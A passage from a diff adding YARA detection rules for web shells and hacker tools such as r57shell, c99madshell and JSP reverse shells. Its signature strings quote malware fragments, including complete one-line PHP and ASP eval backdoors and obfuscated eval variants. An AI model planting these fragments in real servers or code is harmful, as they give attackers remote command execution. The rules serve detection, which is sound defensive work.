+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
+		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
+		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
+		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
+		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
+		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pHp {
+	meta:
+		description = "Web shells - generated from file pHp.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "b0e842bdf83396c3ef8c71ff94e64167"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
+		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
+		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
+		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
+		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pppp {
+	meta:
+		description = "Web shells - generated from file pppp.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf01cb6e09ee594545693c5d327bdd50"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Mail: chinese@hackermail.com" fullword
+		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
+		$s6 = "Site: http://blog.weili.me" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_code {
+	meta:
+		description = "Web shells - generated from file code.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "a444014c134ff24c0be5a05c02b81a79"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
+		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
+		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
+		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
+		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_jspyyy {
+	meta:
+		description = "Web shells - generated from file jspyyy.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_xxxx {
+	meta:
+		description = "Web shells - generated from file xxxx.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "5bcba70b2137375225d8eedcde2c0ebb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php eval($_POST[1]);?>  " fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_JJjsp3 {
+	meta:
+		description = "Web shells - generated from file JJjsp3.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "949ffee1e07a1269df7c69b9722d293e"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP1 {
+	meta:
+		description = "Web shells - generated from file PHP1.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
+		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
+		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JJJsp2 {
+	meta:
+		description = "Web shells - generated from file JJJsp2.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "5a9fec45236768069c99f0bfd566d754"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
+		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
+		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
+		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_radhat {
+	meta:
+		description = "Web shells - generated from file radhat.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "72cb5ef226834ed791144abaa0acdfd4"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "sod=Array(\"D\",\"7\",\"S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_asp1 {
+	meta:
+		description = "Web shells - generated from file asp1.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "b63e708cd58ae1ec85cf784060b69cad"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
+		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_php6 {
+	meta:
+		description = "Web shells - generated from file php6.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "ea75280224a735f1e445d244acdfeb7b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "array_map(\"asx73ert\",(ar"
+		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
+		$s4 = "shell.php?qid=zxexp  " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_xxx {
+	meta:
+		description = "Web shells - generated from file xxx.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "0e71428fe68b39b70adb6aeedf260ca0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword
+	condition:
+		all of them
+}
+rule webshell_GetPostpHp {
+	meta:
+		description = "Web shells - generated from file GetPostpHp.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "20ede5b8182d952728d594e6f2bb5c76"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_php5 {
+	meta:
+		description = "Web shells - generated from file php5.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf2ab009cbd2576a806bfefb74906fdf"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP {
+	meta:
+		description = "Web shells - generated from file PHP.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
+		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
+		$s5 = " - ExpDoor.com</title>" fullword
+		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
+		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_Asp {
+	meta:
+		description = "Web shells - generated from file Asp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "32c87744ea404d0ea0debd55915010b7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
+		$s2 = "Function MorfiCoder(Code)" fullword
+		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword
+	condition:
+		1 of them
+}
+
+/* Update from hackers tool pack */
+
+rule perlbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file perlbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
+		id = "378cb0e4-2069-50b7-ab3e-5a81055e9983"
+	strings:
+		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
+		$s1 = "#Acesso a Shel - 1 ON 0 OFF"
+	condition:
+		1 of them
+}
+rule php_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+		id = "aca53071-f793-538d-bbeb-34469cdb4d1f"
+	strings:
+		$s0 = "http://michaeldaw.org   2006"
+		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
+		$s3 = "coded by z0mbie"
+	condition:
+		1 of them
+}
+rule Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_php {
+	meta:
+		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+		id = "e91114ce-18f9-51cd-b41c-b796960ea4fe"
+	strings:
+		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
+		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
+		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword
+	condition:
+		1 of them
+}
+rule Nshell__1__php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "973fc89694097a41e684b43a21b1b099"
+		id = "44e8b6c5-6f41-5c37-a083-26acedd91956"
+	strings:
+		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
+		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword
+	condition:
+		1 of them
+}
+rule shankar_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shankar.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
+		id = "0c8ab3eb-574b-5e5a-8117-4efecef94f83"
+	strings:
+		$sAuthor = "ShAnKaR"
+		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
+		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"
+	condition:
+		1 of ($s*) and $sAuthor
+}
+rule Casus15_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
+		id = "ba6748a2-fb80-5eda-816c-155bab9285e5"
+	strings:
+		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
+		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
+		$s3 = "value='Calistirmak istediginiz "
+	condition:
+		1 of them
+}
+rule small_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file small.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fcee6226d09d150bfa5f103bee61fbde"
+		id = "cf4fb88f-a312-560d-be0b-b55bfcb889be"
+	strings:
+		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
+		$s4 = "@ini_set('error_log',NULL);" fullword
+	condition:
+		2 of them
+}
+rule shellbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file shellbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
+		id = "07c145b1-c9f7-564a-b354-a6d2072f380c"
+	strings:
+		$s0 = "ShellBOT"
+		$s1 = "PacktsGr0up"
+		$s2 = "CoRpOrAtIoN"
+		$s3 = "# Servidor de irc que vai ser usado "
+		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"
+	condition:
+		2 of them
+}
+rule fuckphpshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "554e50c1265bb0934fcc8247ec3b9052"
+		id = "010db63b-ff72-5f97-8651-a1c7851471ff"
+	strings:
+		$s0 = "$succ = \"Warning! "
+		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
+		$s2 = "\\*=-- MEMBERS AREA --=*/"
+		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"
+	condition:
+		2 of them
+}
+rule ngh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ngh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
+		id = "2d8ff3c1-d6b3-57ce-8213-232b376dbd05"
+	strings:
+		$s0 = "Cr4sh_aka_RKL"
+		$s1 = "NGH edition"
+		$s2 = "/* connectback-backdoor on perl"
+		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
+		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"
+	condition:
+		1 of them
+}
+rule jsp_reverse_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8b0e6779f25a17f0ffb3df14122ba594"
+		id = "4953b230-4cd9-55d6-a3cb-8d3713e7fb0c"
+	strings:
+		$s0 = "// backdoor.jsp"
+		$s1 = "JSP Backdoor Reverse Shell"
+		$s2 = "http://michaeldaw.org"
+	condition:
+		2 of them
+}
+rule Tool_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Tool.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
+		id = "e5e727bd-836b-5540-8755-40f37904bc03"
+	strings:
+		$s0 = "mailto:rhfactor@antisocial.com"
+		$s2 = "?raiz=root"
+		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
+		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"
+	condition:
+		2 of them
+}
+rule NT_Addy_asp {
+	meta:
+		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
+		id = "18f5f360-8690-5e09-ac18-b8cc4f678811"
+	strings:
+		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
+		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
+		$s4 = "RAW D.O.S. COMMAND INTERFACE"
+	condition:
+		1 of them
+}
+rule SimAttacker___Vrsion_1_0_0___priv8_4_My_friend_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+		id = "8a34f4fd-337d-5eb4-b7b7-4adb1c2b7937"
+	strings:
+		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
+		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"
+	condition:
+		1 of them
+}
+rule RemExp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file RemExp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+		id = "900036ce-ff13-5441-bb77-906ea08a4ca0"
+	strings:
+		$s0 = "<title>Remote Explorer</title>"
+		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
+		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+	condition:
+		2 of them
+}
+rule phvayvv_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "35fb37f3c806718545d97c6559abd262"
+		id = "76351a59-8f52-5110-a9b8-36edd59026df"
+	strings:
+		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
+		$s1 = "$baglan=fopen($duzkaydet,'w');"
+		$s2 = "PHVayv 1.0"
+	condition:
+		1 of them
+}
+rule klasvayv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
+		id = "3ca4c20c-f879-55a0-9070-d40fc903f9ae"
+	strings:
+		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
+		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
+		$s3 = "<font color=\"#858585\">www.aventgrup.net"
+		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"
+	condition:
+		1 of them
+}
+rule r57shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d28445de424594a5f14d0fe2a7c4e94f"
+		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
+	strings:
+		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
+		$s2 = "RusH security team"
+		$s3 = "'ru_text12' => 'back-connect"
+		$s4 = "<title>r57shell</title>"
+	condition:
+		1 of them
+}
+rule rst_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0961641a4ab2b8cb4d2beca593a92010"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+	strings:
+		$s0 = "C:\\tmp\\dump_"
+		$s1 = "RST MySQL"
+		$s2 = "http://rst.void.ru"
+		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"
+	condition:
+		2 of them
+}
+rule wh_bindshell_py {
+	meta:
+		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fab20902862736e24aaae275af5e049c"
+		id = "b7acbfe7-fd28-5832-9af2-1c5befe4bbab"
+	strings:
+		$s0 = "#Use: python wh_bindshell.py [port] [password]"
+		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
+		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword
+	condition:
+		1 of them
+}
+rule lurm_safemod_on_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5ea4f901ce1abdf20870c214b3231db3"
+		id = "74e77260-a547-5553-8430-2620f8549f50"
+	strings:
+		$s0 = "Network security team :: CGI Shell" fullword
+		$s1 = "#########################<<KONEC>>#####################################" fullword
+		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword
+	condition:
+		1 of them
+}
+rule c99madshell_v2_0_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d27292895da9afa5b60b9d3014f39294"
+		id = "b0724920-dc1e-5819-a99b-618a9a7e1eca"
+	strings:
+		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"
+	condition:
+		all of them
+}
+rule backupsql_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
+		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+	condition:
+		all of them
+}
+rule uploader_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file uploader.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0b53b67bb3b004a8681e1458dd1895d0"
+		id = "62aa783b-f12f-5bb5-9d96-7aee1666788b"
+	strings:
+		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
+		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword
+	condition:
+		2 of them
+}
+rule telnet_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dd9dba14383064e219e29396e242c1ec"
+		id = "be4de017-e929-5dd3-a60e-f187456b1a55"
+	strings:
+		$s0 = "W A R N I N G: Private Server"
+		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "
+	condition:
+		all of them
+}
+rule w3d_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file w3d.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "987f66b29bfb209a0b4f097f84f57c3b"
+		id = "1a4e3c84-2d3b-5245-bccc-9a5f59b9fc17"
+	strings:
+		$s0 = "W3D Shell"
+		$s1 = "By: Warpboy"
+		$s2 = "No Query Executed"
+	condition:
+		2 of them
+}
+rule WebShell_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
+		id = "b768bb72-64e8-545a-9123-3d5889b58a82"
+	strings:
+		$s0 = "WebShell.cgi"
+		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"
+	condition:
+		all of them
+}
+rule WinX_Shell_html {
+	meta:
+		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+		id = "fe02d995-4375-5ce9-aabe-fae5d29278d3"
+	strings:
+		$s0 = "WinX Shell"
+		$s1 = "Created by greenwood from n57"
+		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"
+	condition:
+		2 of them
+}
+rule Dx_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dx.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+		id = "67d0bccb-d39a-5e30-bdc0-801525ebddd7"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"
+	condition:
+		1 of them
+}
+rule csh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file csh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
+		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
+	strings:
+		$s0 = ".::[c0derz]::. web-shell"
+		$s1 = "http://c0derz.org.ua"
+		$s2 = "vint21h@c0derz.org.ua"
+		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"
+	condition:
+		1 of them
+}
+rule pHpINJ_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d7a4b0df45d34888d5a09f745e85733f"
+		id = "7bf54ef4-a3d8-51c6-8db7-bf8947e992ed"
+	strings:
+		$s1 = "News Remote PHP Shell Injection"
+		$s3 = "Php Shell <br />" fullword
+		$s4 = "<input type = \"text\" name = \"url\" value = \""
+	condition:
+		2 of them
+}
+rule sig_2008_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file 2008.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "3e4ba470d4c38765e4b16ed930facf2c"
+		id = "bfa3caa9-70a5-536b-a887-58427eee43df"
+	strings:
+		$s0 = "Codz by angel(4ngel)"
+		$s1 = "Web: http://www.4ngel.net"
+		$s2 = "$admin['cookielife'] = 86400;"
+		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"
+	condition:
+		1 of them
+}
+rule ak74shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f83adcb4c1111653d30c6427a94f66f"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+	strings:
